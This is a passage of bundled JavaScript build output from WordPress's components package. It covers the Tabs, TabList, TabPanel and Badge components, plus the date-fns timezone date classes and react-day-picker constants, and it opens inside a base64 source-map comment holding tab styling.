xuXHRcdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdGN1cnNvcjogcG9pbnRlcjtcblx0XHRsaW5lLWhlaWdodDogMS4yOyAvLyBDaGFyYWN0ZXJzIGluIHNvbWUgbGFuZ3VhZ2VzIChlLmcuIEphcGFuZXNlKSBtYXkgaGF2ZSBhIG5hdGl2ZSBoaWdoZXIgbGluZS1oZWlnaHQuXG5cdFx0Zm9udC1mYW1pbHk6ICR7IGZvbnQoICdkZWZhdWx0LmZvbnRGYW1pbHknICkgfTtcblx0XHRmb250LXdlaWdodDogNDAwO1xuXHRcdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblxuXHRcdCZbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddIHtcblx0XHRcdGN1cnNvcjogZGVmYXVsdDtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkudGV4dERpc2FibGVkIH07XG5cdFx0fVxuXG5cdFx0Jjpub3QoIFthcmlhLWRpc2FibGVkPSd0cnVlJ10gKTppcyggOmhvdmVyLCBbZGF0YS1mb2N1cy12aXNpYmxlXSApIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0fVxuXG5cdFx0Jjpmb2N1czpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0XHRvdXRsaW5lOiBub25lO1xuXHRcdH1cblxuXHRcdC8vIEZvY3VzIGluZGljYXRvci5cblx0XHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cblx0XHRcdC8vIERyYXcgdGhlIGluZGljYXRvci5cblx0XHRcdC8vIE91dGxpbmUgd29ya3MgZm9yIFdpbmRvd3MgaGlnaCBjb250cmFzdCBtb2RlIGFzIHdlbGwuXG5cdFx0XHRvdXRsaW5lOiB2YXIoIC0td3AtYWRtaW4tYm9yZGVyLXdpZHRoLWZvY3VzICkgc29saWRcblx0XHRcdFx0JHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cblx0XHRcdC8vIEFuaW1hdGlvblxuXHRcdFx0b3BhY2l0eTogMDtcblxuXHRcdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHRcdHRyYW5zaXRpb246IG9wYWNpdHkgMC4xcyBsaW5lYXI7XG5cdFx0XHR9XG5cdFx0fVxuXG5cdFx0JltkYXRhLWZvY3VzLXZpc2libGVdOjphZnRlciB7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdH1cblx0fVxuXG5cdFthcmlhLW9yaWVudGF0aW9uPSdob3Jpem9udGFsJ10gJiB7XG5cdFx0cGFkZGluZy1pbmxpbmU6ICR7IHNwYWNlKCA0ICkgfTtcblx0XHRoZWlnaHQ6ICR7IHNwYWNlKCAxMiApIH07XG5cdFx0c2Nyb2xsLW1hcmdpbjogMjRweDtcblxuXHRcdCY6OmFmdGVyIHtcblx0XHRcdGNvbnRlbnQ6ICcnO1xuXHRcdFx0aW5zZXQ6ICR7IHNwYWNlKCAzICkgfTtcblx0XHR9XG5cdH1cblxuXHRbYXJpYS1vcmllbnRhdGlvbj0ndmVydGljYWwnXSAmIHtcblx0XHRwYWRkaW5nOiAkeyBzcGFjZSggMiApIH0gJHsgc3BhY2UoIDMgKSB9O1xuXHRcdG1pbi1oZWlnaHQ6ICR7IHNwYWNlKCAxMCApIH07XG5cblx0XHQmW2FyaWEtc2VsZWN0ZWQ9J3RydWUnXSB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdFx0ZmlsbDogY3VycmVudENvbG9yO1xuXHRcdH1cblx0fVxuXHRbYXJpYS1vcmllbnRhdGlvbj0ndmVydGljYWwnXVtkYXRhLXNlbGVjdC1vbi1tb3ZlPSdmYWxzZSddICY6OmFmdGVyIHtcblx0XHRjb250ZW50OiAnJztcblx0XHRpbnNldDogdmFyKCAtLXdwLWFkbWluLWJvcmRlci13aWR0aC1mb2N1cyApO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVGFiQ2hpbGRyZW4gPSBzdHlsZWQuc3BhbmBcblx0ZmxleC1ncm93OiAxO1xuXG5cdGRpc3BsYXk6IGZsZXg7XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cblx0W2FyaWEtb3JpZW50YXRpb249J2hvcml6b250YWwnXSAmIHtcblx0XHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0fVxuXHRbYXJpYS1vcmllbnRhdGlvbj0ndmVydGljYWwnXSAmIHtcblx0XHRqdXN0aWZ5LWNvbnRlbnQ6IHN0YXJ0O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVGFiQ2hldnJvbiA9IHN0eWxlZCggSWNvbiApYFxuXHRmbGV4LXNocmluazogMDtcblx0bWFyZ2luLWlubGluZS1lbmQ6ICR7IHNwYWNlKCAtMSApIH07XG5cdFthcmlhLW9yaWVudGF0aW9uPSdob3Jpem9udGFsJ10gJiB7XG5cdFx0ZGlzcGxheTogbm9uZTtcblx0fVxuXHRvcGFjaXR5OiAwO1xuXHRbcm9sZT0ndGFiJ106aXMoIFthcmlhLXNlbGVjdGVkPSd0cnVlJ10sIFtkYXRhLWZvY3VzLXZpc2libGVdLCA6aG92ZXIgKSAmIHtcblx0XHRvcGFjaXR5OiAxO1xuXHR9XG5cdC8vIFRoZSBjaGV2cm9uIGlzIHRyYW5zaXRpb25lZCBpbnRvIGV4aXN0ZW5jZSB3aGVuIHNlbGVjdE9uTW92ZSBpcyBlbmFibGVkLFxuXHQvLyBiZWNhdXNlIG90aGVyd2lzZSBpdCBsb29rcyBqYXJyaW5nLCBhcyBpdCBzaG93cyB1cCBvdXRzaWRlIG9mIHRoZSBmb2N1c1xuXHQvLyBpbmRpY2F0b3IgdGhhdCdzIGJlaW5nIGFuaW1hdGVkIGF0IHRoZSBzYW1lIHRpbWUuXG5cdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdFtkYXRhLXNlbGVjdC1vbi1tb3ZlPSd0cnVlJ11cblx0XHRcdFtyb2xlPSd0YWInXTppcyggW2FyaWEtc2VsZWN0ZWQ9J3RydWUnXSwgIClcblx0XHRcdCYge1xuXHRcdFx0dHJhbnNpdGlvbjogb3BhY2l0eSAwLjE1cyAwLjE1cyBsaW5lYXI7XG5cdFx0fVxuXHR9XG5cdCY6ZGlyKCBydGwgKSB7XG5cdFx0cm90YXRlOiAxODBkZWc7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUYWJQYW5lbCA9IHN0eWxlZCggQXJpYWtpdC5UYWJQYW5lbCApYFxuXHQmOmZvY3VzIHtcblx0XHRib3gtc2hhZG93OiBub25lO1xuXHRcdG91dGxpbmU6IG5vbmU7XG5cdH1cblxuXHQmW2RhdGEtZm9jdXMtdmlzaWJsZV0ge1xuXHRcdGJveC1zaGFkb3c6IDAgMCAwIHZhciggLS13cC1hZG1pbi1ib3JkZXItd2lkdGgtZm9jdXMgKVxuXHRcdFx0JHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdC8vIFdpbmRvd3MgaGlnaCBjb250cmFzdCBtb2RlLlxuXHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRvdXRsaW5lLW9mZnNldDogMDtcblx0fVxuYDtcbiJdfQ== */"));
50935
50936 // packages/components/build-module/tabs/tab.mjs
50937 var import_jsx_runtime313 = __toESM(require_jsx_runtime(), 1);
50938 var Tab3 = (0, import_element238.forwardRef)(function Tab23({
50939 children,
50940 tabId,
50941 disabled,
50942 render,
50943 ...otherProps
50944 }, ref) {
50945 const {
50946 store,
50947 instanceId
50948 } = useTabsContext() ?? {};
50949 if (!store) {
50950 true ? (0, import_warning12.default)("`Tabs.Tab` must be wrapped in a `Tabs` component.") : void 0;
50951 return null;
50952 }
50953 const instancedTabId = `${instanceId}-${tabId}`;
50954 return /* @__PURE__ */ (0, import_jsx_runtime313.jsxs)(Tab22, {
50955 ref,
50956 store,
50957 id: instancedTabId,
50958 disabled,
50959 render,
50960 ...otherProps,
50961 children: [/* @__PURE__ */ (0, import_jsx_runtime313.jsx)(TabChildren, {
50962 children
50963 }), /* @__PURE__ */ (0, import_jsx_runtime313.jsx)(TabChevron, {
50964 icon: chevron_right_default
50965 })]
50966 });
50967 });
50968
50969 // packages/components/build-module/tabs/tablist.mjs
50970 var import_warning13 = __toESM(require_warning(), 1);
50971 var import_element240 = __toESM(require_element(), 1);
50972 var import_compose83 = __toESM(require_compose(), 1);
50973
50974 // packages/components/build-module/tabs/use-track-overflow.mjs
50975 var import_element239 = __toESM(require_element(), 1);
50976 var import_compose82 = __toESM(require_compose(), 1);
50977 function useTrackOverflow(parent, children) {
50978 const [first, setFirst] = (0, import_element239.useState)(false);
50979 const [last, setLast] = (0, import_element239.useState)(false);
50980 const [observer, setObserver] = (0, import_element239.useState)();
50981 const callback = (0, import_compose82.useEvent)((entries) => {
50982 for (const entry of entries) {
50983 if (entry.target === children.first) {
50984 setFirst(!entry.isIntersecting);
50985 }
50986 if (entry.target === children.last) {
50987 setLast(!entry.isIntersecting);
50988 }
50989 }
50990 });
50991 (0, import_element239.useEffect)(() => {
50992 if (!parent || !window.IntersectionObserver) {
50993 return;
50994 }
50995 const newObserver = new IntersectionObserver(callback, {
50996 root: parent,
50997 threshold: 0.9
50998 });
50999 setObserver(newObserver);
51000 return () => newObserver.disconnect();
51001 }, [callback, parent]);
51002 (0, import_element239.useEffect)(() => {
51003 if (!observer) {
51004 return;
51005 }
51006 if (children.first) {
51007 observer.observe(children.first);
51008 }
51009 if (children.last) {
51010 observer.observe(children.last);
51011 }
51012 return () => {
51013 if (children.first) {
51014 observer.unobserve(children.first);
51015 }
51016 if (children.last) {
51017 observer.unobserve(children.last);
51018 }
51019 };
51020 }, [children.first, children.last, observer]);
51021 return {
51022 first,
51023 last
51024 };
51025 }
51026
51027 // packages/components/build-module/tabs/tablist.mjs
51028 var import_jsx_runtime314 = __toESM(require_jsx_runtime(), 1);
51029 var DEFAULT_SCROLL_MARGIN = 24;
51030 function useScrollRectIntoView(parent, rect, {
51031 margin = DEFAULT_SCROLL_MARGIN
51032 } = {}) {
51033 (0, import_element240.useLayoutEffect)(() => {
51034 if (!parent || !rect) {
51035 return;
51036 }
51037 const {
51038 scrollLeft: parentScroll
51039 } = parent;
51040 const parentWidth = parent.getBoundingClientRect().width;
51041 const {
51042 left: childLeft,
51043 width: childWidth
51044 } = rect;
51045 const parentRightEdge = parentScroll + parentWidth;
51046 const childRightEdge = childLeft + childWidth;
51047 const rightOverflow = childRightEdge + margin - parentRightEdge;
51048 const leftOverflow = parentScroll - (childLeft - margin);
51049 let scrollLeft = null;
51050 if (leftOverflow > 0) {
51051 scrollLeft = parentScroll - leftOverflow;
51052 } else if (rightOverflow > 0) {
51053 scrollLeft = parentScroll + rightOverflow;
51054 }
51055 if (scrollLeft !== null) {
51056 parent.scroll?.({
51057 left: scrollLeft
51058 });
51059 }
51060 }, [margin, parent, rect]);
51061 }
51062 var TabList3 = (0, import_element240.forwardRef)(function TabList22({
51063 children,
51064 ...otherProps
51065 }, ref) {
51066 const {
51067 store
51068 } = useTabsContext() ?? {};
51069 const selectedId = useStoreState(store, "selectedId");
51070 const activeId = useStoreState(store, "activeId");
51071 const selectOnMove = useStoreState(store, "selectOnMove");
51072 const items = useStoreState(store, "items");
51073 const [parent, setParent] = (0, import_element240.useState)();
51074 const refs = (0, import_compose83.useMergeRefs)([ref, setParent]);
51075 const selectedItem = store?.item(selectedId);
51076 const renderedItems = useStoreState(store, "renderedItems");
51077 const selectedItemIndex = renderedItems && selectedItem ? renderedItems.indexOf(selectedItem) : -1;
51078 const selectedRect = useTrackElementOffsetRect(selectedItem?.element, [selectedItemIndex]);
51079 const overflow = useTrackOverflow(parent, {
51080 first: items?.at(0)?.element,
51081 last: items?.at(-1)?.element
51082 });
51083 useAnimatedOffsetRect(parent, selectedRect, {
51084 prefix: "selected",
51085 dataAttribute: "indicator-animated",
51086 transitionEndFilter: (event) => event.pseudoElement === "::before",
51087 roundRect: true
51088 });
51089 useScrollRectIntoView(parent, selectedRect);
51090 const onBlur = () => {
51091 if (!selectOnMove) {
51092 return;
51093 }
51094 if (selectedId !== activeId) {
51095 store?.setActiveId(selectedId);
51096 }
51097 };
51098 if (!store) {
51099 true ? (0, import_warning13.default)("`Tabs.TabList` must be wrapped in a `Tabs` component.") : void 0;
51100 return null;
51101 }
51102 return /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(StyledTabList, {
51103 ref: refs,
51104 store,
51105 render: (props) => /* @__PURE__ */ (0, import_jsx_runtime314.jsx)("div", {
51106 ...props,
51107 // Fallback to -1 to prevent browsers from making the tablist
51108 // tabbable when it is a scrolling container.
51109 tabIndex: props.tabIndex ?? -1
51110 }),
51111 onBlur,
51112 "data-select-on-move": selectOnMove ? "true" : "false",
51113 ...otherProps,
51114 className: clsx_default(overflow.first && "is-overflowing-first", overflow.last && "is-overflowing-last", otherProps.className),
51115 children
51116 });
51117 });
51118
51119 // packages/components/build-module/tabs/tabpanel.mjs
51120 var import_element241 = __toESM(require_element(), 1);
51121 var import_warning14 = __toESM(require_warning(), 1);
51122 var import_jsx_runtime315 = __toESM(require_jsx_runtime(), 1);
51123 var TabPanel3 = (0, import_element241.forwardRef)(function TabPanel24({
51124 children,
51125 tabId,
51126 focusable = true,
51127 ...otherProps
51128 }, ref) {
51129 const context = useTabsContext();
51130 const selectedId = useStoreState(context?.store, "selectedId");
51131 if (!context) {
51132 true ? (0, import_warning14.default)("`Tabs.TabPanel` must be wrapped in a `Tabs` component.") : void 0;
51133 return null;
51134 }
51135 const {
51136 store,
51137 instanceId
51138 } = context;
51139 const instancedTabId = `${instanceId}-${tabId}`;
51140 return /* @__PURE__ */ (0, import_jsx_runtime315.jsx)(TabPanel23, {
51141 ref,
51142 store,
51143 id: `${instancedTabId}-view`,
51144 tabId: instancedTabId,
51145 focusable,
51146 ...otherProps,
51147 children: selectedId === instancedTabId && children
51148 });
51149 });
51150
51151 // packages/components/build-module/tabs/index.mjs
51152 var import_jsx_runtime316 = __toESM(require_jsx_runtime(), 1);
51153 function externalToInternalTabId(externalId, instanceId) {
51154 return externalId && `${instanceId}-${externalId}`;
51155 }
51156 function internalToExternalTabId(internalId, instanceId) {
51157 return typeof internalId === "string" ? internalId.replace(`${instanceId}-`, "") : internalId;
51158 }
51159 var Tabs = Object.assign(function Tabs2({
51160 selectOnMove = true,
51161 defaultTabId,
51162 orientation = "horizontal",
51163 onSelect,
51164 children,
51165 selectedTabId,
51166 activeTabId,
51167 defaultActiveTabId,
51168 onActiveTabIdChange
51169 }) {
51170 const instanceId = (0, import_compose84.useInstanceId)(Tabs2, "tabs");
51171 const store = useTabStore({
51172 selectOnMove,
51173 orientation,
51174 defaultSelectedId: externalToInternalTabId(defaultTabId, instanceId),
51175 setSelectedId: (newSelectedId) => {
51176 onSelect?.(internalToExternalTabId(newSelectedId, instanceId));
51177 },
51178 selectedId: externalToInternalTabId(selectedTabId, instanceId),
51179 defaultActiveId: externalToInternalTabId(defaultActiveTabId, instanceId),
51180 setActiveId: (newActiveId) => {
51181 onActiveTabIdChange?.(internalToExternalTabId(newActiveId, instanceId));
51182 },
51183 activeId: externalToInternalTabId(activeTabId, instanceId),
51184 rtl: (0, import_i18n80.isRTL)()
51185 });
51186 const {
51187 items,
51188 activeId
51189 } = useStoreState(store);
51190 const {
51191 setActiveId
51192 } = store;
51193 (0, import_element242.useEffect)(() => {
51194 requestAnimationFrame(() => {
51195 const focusedElement = items?.[0]?.element?.ownerDocument.activeElement;
51196 if (!focusedElement || !items.some((item2) => focusedElement === item2.element)) {
51197 return;
51198 }
51199 if (activeId !== focusedElement.id) {
51200 setActiveId(focusedElement.id);
51201 }
51202 });
51203 }, [activeId, items, setActiveId]);
51204 const contextValue = (0, import_element242.useMemo)(() => ({
51205 store,
51206 instanceId
51207 }), [store, instanceId]);
51208 return /* @__PURE__ */ (0, import_jsx_runtime316.jsx)(TabsContext.Provider, {
51209 value: contextValue,
51210 children
51211 });
51212 }, {
51213 /**
51214 * Renders a single tab.
51215 *
51216 * The currently active tab receives default styling that can be
51217 * overridden with CSS targeting `[aria-selected="true"]`.
51218 */
51219 Tab: Object.assign(Tab3, {
51220 displayName: "Tabs.Tab"
51221 }),
51222 /**
51223 * A wrapper component for the `Tab` components.
51224 *
51225 * It is responsible for rendering the list of tabs.
51226 */
51227 TabList: Object.assign(TabList3, {
51228 displayName: "Tabs.TabList"
51229 }),
51230 /**
51231 * Renders the content to display for a single tab once that tab is selected.
51232 */
51233 TabPanel: Object.assign(TabPanel3, {
51234 displayName: "Tabs.TabPanel"
51235 }),
51236 Context: Object.assign(TabsContext, {
51237 displayName: "Tabs.Context"
51238 })
51239 });
51240
51241 // packages/components/build-module/lock-unlock.mjs
51242 var import_private_apis = __toESM(require_private_apis(), 1);
51243 var {
51244 lock,
51245 unlock
51246 } = (0, import_private_apis.__dangerousOptInToUnstableAPIsOnlyForCoreModules)("I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.", "@wordpress/components");
51247
51248 // packages/components/build-module/badge/index.mjs
51249 var import_jsx_runtime317 = __toESM(require_jsx_runtime(), 1);
51250 function contextBasedIcon(intent = "default") {
51251 switch (intent) {
51252 case "info":
51253 return info_default;
51254 case "success":
51255 return published_default;
51256 case "warning":
51257 return caution_default;
51258 case "error":
51259 return error_default;
51260 default:
51261 return null;
51262 }
51263 }
51264 function Badge({
51265 className: className2,
51266 intent = "default",
51267 children,
51268 ...props
51269 }) {
51270 const icon = contextBasedIcon(intent);
51271 const hasIcon = !!icon;
51272 return /* @__PURE__ */ (0, import_jsx_runtime317.jsx)("span", {
51273 className: clsx_default("components-badge", className2, {
51274 [`is-${intent}`]: intent,
51275 "has-icon": hasIcon
51276 }),
51277 ...props,
51278 children: /* @__PURE__ */ (0, import_jsx_runtime317.jsxs)("span", {
51279 className: "components-badge__flex-wrapper",
51280 children: [hasIcon && /* @__PURE__ */ (0, import_jsx_runtime317.jsx)(icon_default3, {
51281 icon,
51282 size: 16,
51283 fill: "currentColor",
51284 className: "components-badge__icon"
51285 }), /* @__PURE__ */ (0, import_jsx_runtime317.jsx)("span", {
51286 className: "components-badge__content",
51287 children
51288 })]
51289 })
51290 });
51291 }
51292 var badge_default = Badge;
51293
51294 // node_modules/react-day-picker/dist/esm/DayPicker.js
51295 var import_react163 = __toESM(require_react(), 1);
51296
51297 // node_modules/@date-fns/tz/tzOffset/index.js
51298 var offsetFormatCache = {};
51299 var offsetCache = {};
51300 function tzOffset(timeZone, date) {
51301 try {
51302 const format2 = offsetFormatCache[timeZone] ||= new Intl.DateTimeFormat("en-GB", {
51303 timeZone,
51304 hour: "numeric",
51305 timeZoneName: "longOffset"
51306 }).format;
51307 const offsetStr = format2(date).split("GMT")[1] || "";
51308 if (offsetStr in offsetCache) return offsetCache[offsetStr];
51309 return calcOffset(offsetStr, offsetStr.split(":"));
51310 } catch {
51311 if (timeZone in offsetCache) return offsetCache[timeZone];
51312 const captures = timeZone?.match(offsetRe);
51313 if (captures) return calcOffset(timeZone, captures.slice(1));
51314 return NaN;
51315 }
51316 }
51317 var offsetRe = /([+-]\d\d):?(\d\d)?/;
51318 function calcOffset(cacheStr, values) {
51319 const hours = +values[0];
51320 const minutes = +(values[1] || 0);
51321 return offsetCache[cacheStr] = hours > 0 ? hours * 60 + minutes : hours * 60 - minutes;
51322 }
51323
51324 // node_modules/@date-fns/tz/date/mini.js
51325 var TZDateMini = class _TZDateMini extends Date {
51326 //#region static
51327 constructor(...args) {
51328 super();
51329 if (args.length > 1 && typeof args[args.length - 1] === "string") {
51330 this.timeZone = args.pop();
51331 }
51332 this.internal = /* @__PURE__ */ new Date();
51333 if (isNaN(tzOffset(this.timeZone, this))) {
51334 this.setTime(NaN);
51335 } else {
51336 if (!args.length) {
51337 this.setTime(Date.now());
51338 } else if (typeof args[0] === "number" && (args.length === 1 || args.length === 2 && typeof args[1] !== "number")) {
51339 this.setTime(args[0]);
51340 } else if (typeof args[0] === "string") {
51341 this.setTime(+new Date(args[0]));
51342 } else if (args[0] instanceof Date) {
51343 this.setTime(+args[0]);
51344 } else {
51345 this.setTime(+new Date(...args));
51346 adjustToSystemTZ(this, NaN);
51347 syncToInternal(this);
51348 }
51349 }
51350 }
51351 static tz(tz, ...args) {
51352 return args.length ? new _TZDateMini(...args, tz) : new _TZDateMini(Date.now(), tz);
51353 }
51354 //#endregion
51355 //#region time zone
51356 withTimeZone(timeZone) {
51357 return new _TZDateMini(+this, timeZone);
51358 }
51359 getTimezoneOffset() {
51360 return -tzOffset(this.timeZone, this);
51361 }
51362 //#endregion
51363 //#region time
51364 setTime(time2) {
51365 Date.prototype.setTime.apply(this, arguments);
51366 syncToInternal(this);
51367 return +this;
51368 }
51369 //#endregion
51370 //#region date-fns integration
51371 [/* @__PURE__ */ Symbol.for("constructDateFrom")](date) {
51372 return new _TZDateMini(+new Date(date), this.timeZone);
51373 }
51374 //#endregion
51375 };
51376 var re3 = /^(get|set)(?!UTC)/;
51377 Object.getOwnPropertyNames(Date.prototype).forEach((method) => {
51378 if (!re3.test(method)) return;
51379 const utcMethod = method.replace(re3, "$1UTC");
51380 if (!TZDateMini.prototype[utcMethod]) return;
51381 if (method.startsWith("get")) {
51382 TZDateMini.prototype[method] = function() {
51383 return this.internal[utcMethod]();
51384 };
51385 } else {
51386 TZDateMini.prototype[method] = function() {
51387 Date.prototype[utcMethod].apply(this.internal, arguments);
51388 syncFromInternal(this);
51389 return +this;
51390 };
51391 TZDateMini.prototype[utcMethod] = function() {
51392 Date.prototype[utcMethod].apply(this, arguments);
51393 syncToInternal(this);
51394 return +this;
51395 };
51396 }
51397 });
51398 function syncToInternal(date) {
51399 date.internal.setTime(+date);
51400 date.internal.setUTCMinutes(date.internal.getUTCMinutes() - date.getTimezoneOffset());
51401 }
51402 function syncFromInternal(date) {
51403 Date.prototype.setFullYear.call(date, date.internal.getUTCFullYear(), date.internal.getUTCMonth(), date.internal.getUTCDate());
51404 Date.prototype.setHours.call(date, date.internal.getUTCHours(), date.internal.getUTCMinutes(), date.internal.getUTCSeconds(), date.internal.getUTCMilliseconds());
51405 adjustToSystemTZ(date);
51406 }
51407 function adjustToSystemTZ(date) {
51408 const offset3 = tzOffset(date.timeZone, date);
51409 const prevHour = /* @__PURE__ */ new Date(+date);
51410 prevHour.setUTCHours(prevHour.getUTCHours() - 1);
51411 const systemOffset = -(/* @__PURE__ */ new Date(+date)).getTimezoneOffset();
51412 const prevHourSystemOffset = -(/* @__PURE__ */ new Date(+prevHour)).getTimezoneOffset();
51413 const systemDSTChange = systemOffset - prevHourSystemOffset;
51414 const dstShift = Date.prototype.getHours.apply(date) !== date.internal.getUTCHours();
51415 if (systemDSTChange && dstShift) date.internal.setUTCMinutes(date.internal.getUTCMinutes() + systemDSTChange);
51416 const offsetDiff = systemOffset - offset3;
51417 if (offsetDiff) Date.prototype.setUTCMinutes.call(date, Date.prototype.getUTCMinutes.call(date) + offsetDiff);
51418 const postOffset = tzOffset(date.timeZone, date);
51419 const postSystemOffset = -(/* @__PURE__ */ new Date(+date)).getTimezoneOffset();
51420 const postOffsetDiff = postSystemOffset - postOffset;
51421 const offsetChanged = postOffset !== offset3;
51422 const postDiff = postOffsetDiff - offsetDiff;
51423 if (offsetChanged && postDiff) {
51424 Date.prototype.setUTCMinutes.call(date, Date.prototype.getUTCMinutes.call(date) + postDiff);
51425 const newOffset = tzOffset(date.timeZone, date);
51426 const offsetChange = postOffset - newOffset;
51427 if (offsetChange) {
51428 date.internal.setUTCMinutes(date.internal.getUTCMinutes() + offsetChange);
51429 Date.prototype.setUTCMinutes.call(date, Date.prototype.getUTCMinutes.call(date) + offsetChange);
51430 }
51431 }
51432 }
51433
51434 // node_modules/@date-fns/tz/date/index.js
51435 var TZDate = class _TZDate extends TZDateMini {
51436 //#region static
51437 static tz(tz, ...args) {
51438 return args.length ? new _TZDate(...args, tz) : new _TZDate(Date.now(), tz);
51439 }
51440 //#endregion
51441 //#region representation
51442 toISOString() {
51443 const [sign, hours, minutes] = this.tzComponents();
51444 const tz = `${sign}${hours}:${minutes}`;
51445 return this.internal.toISOString().slice(0, -1) + tz;
51446 }
51447 toString() {
51448 return `${this.toDateString()} ${this.toTimeString()}`;
51449 }
51450 toDateString() {
51451 const [day, date, month, year] = this.internal.toUTCString().split(" ");
51452 return `${day?.slice(0, -1)} ${month} ${date} ${year}`;
51453 }
51454 toTimeString() {
51455 const time2 = this.internal.toUTCString().split(" ")[4];
51456 const [sign, hours, minutes] = this.tzComponents();
51457 return `${time2} GMT${sign}${hours}${minutes} (${tzName(this.timeZone, this)})`;
51458 }
51459 toLocaleString(locales, options2) {
51460 return Date.prototype.toLocaleString.call(this, locales, {
51461 ...options2,
51462 timeZone: options2?.timeZone || this.timeZone
51463 });
51464 }
51465 toLocaleDateString(locales, options2) {
51466 return Date.prototype.toLocaleDateString.call(this, locales, {
51467 ...options2,
51468 timeZone: options2?.timeZone || this.timeZone
51469 });
51470 }
51471 toLocaleTimeString(locales, options2) {
51472 return Date.prototype.toLocaleTimeString.call(this, locales, {
51473 ...options2,
51474 timeZone: options2?.timeZone || this.timeZone
51475 });
51476 }
51477 //#endregion
51478 //#region private
51479 tzComponents() {
51480 const offset3 = this.getTimezoneOffset();
51481 const sign = offset3 > 0 ? "-" : "+";
51482 const hours = String(Math.floor(Math.abs(offset3) / 60)).padStart(2, "0");
51483 const minutes = String(Math.abs(offset3) % 60).padStart(2, "0");
51484 return [sign, hours, minutes];
51485 }
51486 //#endregion
51487 withTimeZone(timeZone) {
51488 return new _TZDate(+this, timeZone);
51489 }
51490 //#region date-fns integration
51491 [/* @__PURE__ */ Symbol.for("constructDateFrom")](date) {
51492 return new _TZDate(+new Date(date), this.timeZone);
51493 }
51494 //#endregion
51495 };
51496 function tzName(tz, date) {
51497 return new Intl.DateTimeFormat("en-GB", {
51498 timeZone: tz,
51499 timeZoneName: "long"
51500 }).format(date).slice(12);
51501 }
51502
51503 // node_modules/react-day-picker/dist/esm/UI.js
51504 var UI2;
51505 (function(UI3) {
51506 UI3["Root"] = "root";
51507 UI3["Chevron"] = "chevron";
51508 UI3["Day"] = "day";
51509 UI3["DayButton"] = "day_button";
51510 UI3["CaptionLabel"] = "caption_label";
51511 UI3["Dropdowns"] = "dropdowns";
51512 UI3["Dropdown"] = "dropdown";
51513 UI3["DropdownRoot"] = "dropdown_root";
51514 UI3["Footer"] = "footer";
51515 UI3["MonthGrid"] = "month_grid";
51516 UI3["MonthCaption"] = "month_caption";
51517 UI3["MonthsDropdown"] = "months_dropdown";
51518 UI3["Month"] = "month";
51519 UI3["Months"] = "months";
51520 UI3["Nav"] = "nav";
51521 UI3["NextMonthButton"] = "button_next";
51522 UI3["PreviousMonthButton"] = "button_previous";
51523 UI3["Week"] = "week";
51524 UI3["Weeks"] = "weeks";
51525 UI3["Weekday"] = "weekday";
51526 UI3["Weekdays"] = "weekdays";
51527 UI3["WeekNumber"] = "week_number";
51528 UI3["WeekNumberHeader"] = "week_number_header";
51529 UI3["YearsDropdown"] = "years_dropdown";
51530 })(UI2 || (UI2 = {}));
51531 var DayFlag;
51532 (function(DayFlag2) {
51533 DayFlag2["disabled"] = "disabled";
51534 DayFlag2["hidden"] = "hidden";
51535 DayFlag2["outside"] = "outside";
51536 DayFlag2["focused"] = "focused";
51537 DayFlag2["today"] = "today";
51538 })(DayFlag || (DayFlag = {}));
51539 var SelectionState;
51540 (function(SelectionState2) {
51541 SelectionState2["range_end"] = "range_end";
51542 SelectionState2["range_middle"] = "range_middle";
51543 SelectionState2["range_start"] = "range_start";
51544 SelectionState2["selected"] = "selected";
51545 })(SelectionState || (SelectionState = {}));
51546 var Animation;
51547 (function(Animation2) {
51548 Animation2["weeks_before_enter"] = "weeks_before_enter";
51549 Animation2["weeks_before_exit"] = "weeks_before_exit";
51550 Animation2["weeks_after_enter"] = "weeks_after_enter";
51551 Animation2["weeks_after_exit"] = "weeks_after_exit";
51552 Animation2["caption_after_enter"] = "caption_after_enter";
51553 Animation2["caption_after_exit"] = "caption_after_exit";
51554 Animation2["caption_before_enter"] = "caption_before_enter";
51555 Animation2["caption_before_exit"] = "caption_before_exit";
51556 })(Animation || (Animation = {}));
51557
51558 // node_modules/react-day-picker/node_modules/date-fns/constants.js
51559 var daysInYear2 = 365.2425;
51560 var maxTime2 = Math.pow(10, 8) * 24 * 60 * 60 * 1e3;
51561 var minTime2 = -maxTime2;
51562 var millisecondsInWeek = 6048e5;
51563 var millisecondsInDay2 = 864e5;
51564 var secondsInHour2 = 3600;
51565 var secondsInDay2 = secondsInHour2 * 24;
51566 var secondsInWeek2 = secondsInDay2 * 7;
51567 var secondsInYear2 = secondsInDay2 * daysInYear2;
51568 var secondsInMonth2 = secondsInYear2 / 12;
